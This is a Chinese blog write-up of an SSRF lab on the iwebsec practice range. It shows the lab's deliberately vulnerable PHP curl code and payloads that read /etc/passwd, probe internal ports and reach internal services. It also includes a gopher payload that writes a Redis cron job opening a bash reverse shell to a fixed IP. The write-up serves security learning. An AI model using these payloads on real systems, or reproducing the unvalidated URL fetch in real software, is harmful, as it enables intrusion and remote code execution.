iwebsec靶场(SSRF)

文章介绍了SSRF(服务器端请求伪造)漏洞,包括可能导致该漏洞的PHP函数如curl_exec和file_get_contents,以及CURL协议在SSRF中的应用,如file、dict和gopher协议。此外,文中还阐述了SSRF的危害,如扫描内网、获取敏感信息,以及如何利用SSRF进行内网服务攻击。提供了靶场地址供读者实践,并举例了WordPress和Discuz!的SSRF漏洞情况。
摘要由CSDN通过智能技术生成

iwebsec靶场(SSRF)

一、可能引起SSRF漏洞的PHP函数

函数作用
curl_exec()执行curl会话
file_get_contents()将整个文件读入一个字符串
fsockopen()打开一个网络连接或者一个Unix套接字连接

二、CURL其他协议

协议作用payload
file查看文件curl -v ‘file:///etc/passwd’
dict探测端口http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306
gopher反弹shellcurl -v
‘gopher://127.0.0.1:6379/_3%0d%0a$3%0d%0aset%0d%0a$1%0d%
0a1%0d%0a$57%0d%0a%0a%0a%0a
/1 * * * * bash -i >&
/dev/tcp/192.168.142.135/4444
0>&1%0a%0a%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%
0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron
/%0d%0a
4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a
$10%0d%0adbfilename%0d%0a 4 4%0d%0aroot%0d%0a*1%0d%0a 4
4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a’
  • dict协议:用于搭建在线字典服务
  • gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代

三、漏洞介绍

  • 服务器端请求伪造:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞
  • 危害:
    • 扫描资产
    • 获取敏感信息
    • 攻击内网服务器(绕过防火墙)
    • 访问大文件,造成溢出
    • 通过Redis写入WebShell或建立反弹连接
  • 漏洞常见场景
    • 社会化分享功能
    • 转码服务
    • 在线翻译
    • 图片加载、下载功能
    • 图片、文章收藏功能
    • 网站采集、网站抓取
  • 实际案例
    • Wordpress 3.5.1以下版本 xmlrpc.phppingback的缺陷与SSFR
    • discuz!的SSRF(利用php的header函数来绕过,其实就是302跳转实现协议转换)
    • weblogic的SSRF

四、靶场地址:http://iwebsec.com/

五、SSRF服务端请求伪造

1.查看源码
<?php require_once '../header.php'; ?>
<html>
	<head>
		<title>SSRF服务端请求伪造</title>
	</head>
	<h2>SSRF服务端请求伪造</h2>
		<div class="alert alert-success">
			<p>/index.php?url=http://127.0.0.1/vuln/ssrf/1.txt </p>
		</div>
	<body>


<table class='table table-striped'>

<?php  
	if (isset($_GET['url'])) { 
		$link = $_GET['url']; 
		$filename = './curled/'.rand().'txt'; 
		$curlobj = curl_init($link); 
		$fp = fopen($filename,"w"); 
		curl_setopt($curlobj, CURLOPT_FILE, $fp); 
		curl_setopt($curlobj, CURLOPT_HEADER, 0); 
		curl_exec($curlobj); 
		curl_close($curlobj); 
		fclose($fp); 
		$fp = fopen($filename,"r"); 
		$result = fread($fp, filesize($filename));  
		fclose($fp); 
		echo $result; 
	} 
?> 

</table>
PHP中的fopen函数用于打开一个文件或URL;fclose () 函数关闭该指针指向的文
curl_setopt函数的作用是为一个CURL会话设置选项
curl_exec函数是PHP cURL函数列表中的一种,它的功能是执行一个cURL会话
2.访问系统文件
  • 查看网站自带的1.txt

    /ssrf/index.php?url=http://127.0.0.1/ssrf/1.txt
    

    请添加图片描述

    请添加图片描述

  • 查看passwd文件

    /ssrf/index.php?url=file:///etc/passwd
    

    请添加图片描述

六、SSRF内网探测漏洞

  • 利用SSRF端口探测方法,如果访问3306端口返回数据库信息,就说明开启了3306端口。反之如果无数据返回或者延迟较大,说明该端口未开放。

    /ssrf/index.php?url=dict://127.0.0.1:3306
    

    请添加图片描述

七、SSRF内网应用攻击

  • 访问内网http服务

    /ssrf/index.php?url=http://127.0.0.1
    

    请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值